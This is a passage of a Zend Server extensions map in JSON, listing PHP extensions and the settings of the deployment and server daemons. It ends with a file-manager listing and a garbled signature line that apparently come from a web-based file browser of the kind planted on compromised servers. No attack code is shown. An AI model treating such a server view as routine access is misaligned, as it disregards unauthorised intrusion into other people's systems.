        "shortDescription": "File diff Manipulation",
        "longDescription": "",
        "iniFileName": "xdiff.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "xml": {
        "name": "xml",
        "extensionId": "xml",
        "isDaemon": 0,
        "shortDescription": "SAX XML(Extensible Markup Language)",
        "longDescription": "XML (Extensible Markup Language) is a data format for structured document interchange on the Web. This toolkit lets you parse, but not validate, XML documents. This extension lets you create XML parsers and then define handlers for different XML events.",
        "iniFileName": "xml.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "xmlreader": {
        "name": "xmlreader",
        "extensionId": "xmlreader",
        "isDaemon": 0,
        "shortDescription": "XML Reader Extension",
        "longDescription": "XML Reader - The XMLReader extension is an XML Pull parser. The reader acts as a cursor going forward on the document stream and stopping at each node on the way.\nNote:\nlibxml libraries must be installed in order for this extension to function.",
        "iniFileName": "xmlreader.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "xmlrpc": {
        "name": "xmlrpc",
        "extensionId": "xmlrpc",
        "isDaemon": 0,
        "shortDescription": "XML-RPC Servers and Clients",
        "longDescription": "XML-RPC allows software running on disparate operating systems and in different environments to make procedure calls over the Web. This extension includes functions that can be used to write XML-RPC servers and clients.\nWarning: This extension is experimental. The behavior of this extension may change without notice in a future release of PHP. Use this extension at your own risk.",
        "iniFileName": "xmlrpc.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "xmlrpc_errors": {
                "shortDescription": "Turns off normal error reporting and formats errors as XML-RPC error message",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xmlrpc_error_number": {
                "shortDescription": "Use as the value of the XML-RPC faultCode element",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "xmlwriter": {
        "name": "xmlwriter",
        "extensionId": "xmlwriter",
        "isDaemon": 0,
        "shortDescription": "XML Forward-Only Writer",
        "longDescription": "Represents a writer that provides a non-cached, forward-only means of generating streams or files containing XML data. This extension can be used in either an object-oriented or procedural style. Every method documented describes the alternative procedural call.",
        "iniFileName": "xmlwriter.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "xsl": {
        "name": "xsl",
        "extensionId": "xsl",
        "isDaemon": 0,
        "shortDescription": "Extensible Stylesheet Language Transformations",
        "longDescription": "This extension implements the Extensible Stylesheet Language(XSL) standard, performing XSLT transformations using the libxslt library.\nNote:\nlibxslt libraries must be installed in order for this extension to function.",
        "iniFileName": "xsl.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "xsl.security_prefs": {
                "shortDescription": "Define write operations within XSLT",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "digits",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "yp": {
        "name": "yp",
        "extensionId": "yp",
        "isDaemon": 0,
        "shortDescription": "YP\/NIS Network Management",
        "longDescription": "",
        "iniFileName": "yp.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "zdd": {
        "name": "zdd",
        "isDaemon": 1,
        "shortDescription": "Zend Deployment Daemon",
        "longDescription": "Zend Deployment Daemon",
        "iniFileName": "zdd.ini",
        "subPath": "",
        "directives": {
            "zend_deployment.daemon.log_verbosity_level": {
                "shortDescription": "The Log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.daemon.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.global_directives_ini_file": {
                "shortDescription": "Global Directives ini file.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "GLOBAL_DIRECTIVES_INI_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.webserver.apache.vhosts_dir": {
                "shortDescription": "Path to apache vhosts dir.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "sites.d"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.webserver.apache.ctl": {
                "shortDescription": "Apache Web server control.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "..\\\\Apache2\\\\bin\\\\httpd.exe",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": ".\/bin\/apachectl",
                        "restrictions": [
                            {
                                "os": "linux-i386",
                                "product": ""
                            },
                            {
                                "os": "linux-x86_64",
                                "product": ""
                            },
                            {
                                "os": "linux-amd64",
                                "product": ""
                            },
                            {
                                "os": "linux-armhf",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64le",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": ".\/bin\/apachectl",
                        "restrictions": [
                            {
                                "os": "darwin-i386",
                                "product": ""
                            },
                            {
                                "os": "darwin-x86_64",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": ".\/bin\/i5_apache",
                        "restrictions": [
                            {
                                "os": "aix-ppc",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.webserver.apache.restart_cmd": {
                "shortDescription": "Apache web server restart cmd.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "-n Apache2.2-Zend -k restart",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "restart",
                        "restrictions": [
                            {
                                "os": "linux-i386",
                                "product": ""
                            },
                            {
                                "os": "linux-x86_64",
                                "product": ""
                            },
                            {
                                "os": "linux-amd64",
                                "product": ""
                            },
                            {
                                "os": "linux-armhf",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64le",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "restart",
                        "restrictions": [
                            {
                                "os": "darwin-i386",
                                "product": ""
                            },
                            {
                                "os": "darwin-x86_64",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "restart",
                        "restrictions": [
                            {
                                "os": "aix-ppc",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.webserver.nginx.docroot": {
                "shortDescription": "NGINX document root",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "\/usr\/share\/nginx\/html",
                        "restrictions": [
                            {
                                "os": "linux-i386",
                                "product": ""
                            },
                            {
                                "os": "linux-x86_64",
                                "product": ""
                            },
                            {
                                "os": "linux-amd64",
                                "product": ""
                            },
                            {
                                "os": "linux-armhf",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64le",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "",
                        "restrictions": [
                            {
                                "os": "darwin-i386",
                                "product": ""
                            },
                            {
                                "os": "darwin-x86_64",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "",
                        "restrictions": [
                            {
                                "os": "aix-ppc",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.webserver.restart_timeout": {
                "shortDescription": "Timeout for webserver restarts",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.operations.retry_count": {
                "shortDescription": "Number of retries that will be used for all operations failures.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 100,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.operations.scripts_execution_timeout": {
                "shortDescription": "Timeout for deployment scripts execution.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.apps_dir": {
                "shortDescription": "Applications save path.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.server_hooks_dir": {
                "shortDescription": "Path to the server wide scripts directory.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.hook_script_php_binary": {
                "shortDescription": "Sets the PHP binary used for executing deployment hook scripts (with optional arguments).",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.health_check_frequency": {
                "shortDescription": "The frequency in which health checks are executed.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.create_env_file": {
                "shortDescription": "Should the daemon create an environment file of deployment scripts.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.detect_apps": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.tasks_check_interval": {
                "shortDescription": "The frequency in which new tasks are retrieved.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.defined_apps_detection_interval": {
                "shortDescription": "The frequency in which defined applications are detected. 0 to disable",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "60",
                        "restrictions": [
                            {
                                "os": "linux-i386",
                                "product": ""
                            },
                            {
                                "os": "linux-x86_64",
                                "product": ""
                            },
                            {
                                "os": "linux-amd64",
                                "product": ""
                            },
                            {
                                "os": "linux-armhf",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64le",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "60",
                        "restrictions": [
                            {
                                "os": "darwin-i386",
                                "product": ""
                            },
                            {
                                "os": "darwin-x86_64",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "0",
                        "restrictions": [
                            {
                                "os": "aix-ppc",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "minutes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 10000000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.validate_ssl": {
                "shortDescription": "Whether to validate ssl errors on health check requests",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.use_symlinks_for_conf": {
                "shortDescription": "Use symlinks in web server conf file for apps locations",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            }
        }
    },
    "zip": {
        "name": "zip",
        "extensionId": "zip",
        "isDaemon": 0,
        "shortDescription": "ZIP Archive Handling",
        "longDescription": "Enables you to transparently read ZIP compressed archives and the files inside them.\nNote:\nZlib libraries must be installed in order for this extension to function.",
        "iniFileName": "zip.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "zlib": {
        "name": "zlib",
        "extensionId": "zlib",
        "isDaemon": 0,
        "shortDescription": "zlib Compression (incl. gzip)",
        "longDescription": "Enables you to transparently read and write gzip (.gz) compressed files, through versions of most of the filesystem functions which work with gzip-compressed files (and uncompressed files without sockets).",
        "iniFileName": "zlib.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "zlib.output_compression": {
                "shortDescription": "Whether to transparently compress pages",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/on|off|^[0-9]*$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zlib.output_handler": {
                "shortDescription": "Zlib output handler",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zlib.output_compression_level": {
                "shortDescription": "Compression level used for transparent output compression",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zmail": {
        "name": "Zmail",
        "extensionId": "zmail",
        "isDaemon": 0,
        "shortDescription": "PHP Email API for IBM i",
        "longDescription": "A PHP extension that implements an SMTP client. In IBM i it takes over php's mail() function and handles all calls to this function.",
        "iniFileName": "zmail.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "zsd": {
        "name": "zsd",
        "isDaemon": 1,
        "shortDescription": "Zend Server Daemon",
        "longDescription": "Zend Server Daemon",
        "iniFileName": "zsd.ini",
        "subPath": "",
        "directives": {
            "zend_server_daemon.log_verbosity_level": {
                "shortDescription": "The Log's verbosity level",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.global_directives_ini_file": {
                "shortDescription": "Global Directives ini File",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "GLOBAL_DIRECTIVES_INI_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.scan_dirs": {
                "shortDescription": "Semi colon list of directories containing the Zend Server INI files",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/etc\/cfg",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "ZEND_PREFIX\/etc\/conf.d",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.exclude_directives": {
                "shortDescription": "Semi colon list of directives that will be excluded from the blueprint",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.cluster_node_id": {
                "shortDescription": "Stores the last node id for this node when in single server mode",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.node_ip": {
                "shortDescription": "Stores the current node's external IP address",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.blueprint_check_interval": {
                "shortDescription": "Set the blueprint check interval, in seconds",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.tasks_check_interval": {
                "shortDescription": "Set the tasks polling interval, in seconds",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.keep_alive_interval": {
                "shortDescription": "Sets the interval between reporting of the 'I am alive' record. in seconds",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.restart_strategy": {
                "shortDescription": "The Zend Server Cluster restart strategy. 0 means restart N servers at a time, 1 means restart N% servers at a time",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:1:\"0\";i:1;s:1:\"1\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.restart_strategy_value": {
                "shortDescription": "The number \/ % of Zend Servers to restart at a time",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "33"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.obtain_cluster_lock_retries": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "20"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.seconds_to_wait_for_sc_graceful_shutdown": {
                "shortDescription": "Seconds to wait until session clustering completed its graceful shutdown",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.webserver_config_file": {
                "shortDescription": "Contains the path to the webserver configuration file (e.g. \/etc\/apache2\/apache2.conf)",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "WEBSEVER_CONFIG_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.webserver.apache.ctl": {
                "shortDescription": "Apache Web server control.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "APACHE_CTL_PATH"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.webserver.error_reporting_level": {
                "shortDescription": "Error reporting level on the web server configuration problems",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "errors"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{s:3:\"all\";s:3:\"all\";s:6:\"errors\";s:6:\"errors\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_daemon.webserver.fpm_restart_interval": {
                "shortDescription": "Minimal wait time between consecutive php-fpm restarts",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "5"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
man Folder 0755
pear Folder 0755
zend_extensions_map.json File 1.09 MB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1